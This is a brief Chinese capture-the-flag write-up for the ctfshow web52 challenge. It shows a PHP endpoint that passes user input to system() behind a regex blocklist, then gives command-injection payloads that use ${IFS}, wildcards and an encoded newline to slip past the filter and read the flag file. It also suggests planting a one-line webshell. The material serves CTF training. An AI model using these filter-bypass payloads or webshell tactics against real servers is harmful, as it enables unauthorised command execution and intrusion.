ctfshow web入门 web52
信息收集
之前一直好用的<
和<>
被过滤了,仔细看一看,$
没过滤
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
解题
之前我们就用过$
了
细节参考:ctfshow web入门 web45
故技重施
?c=nl${IFS}fla?????%0a
之前我们提到过nl获取到的文本包含php标签,标签里的内容被当做代码执行了。所以要看源代码或者抓包才能看到flag.php
的内容
rev
命令和fold
命令同理
但是这里没有flag,一般情况下都是放根目录的,或者/usr
/tmp
/var
之类的。如果实在找不到,就写一句话木马,用蚁剑连上慢慢找
?c=ls${IFS}/%0a
找到一个flag,先打开看看
?c=nl${IFS}/fla?%0a
flag在 nl /flag
,flag
被过滤了,用fla?
代替,或者用单双引号做间隔
web51 目录 web53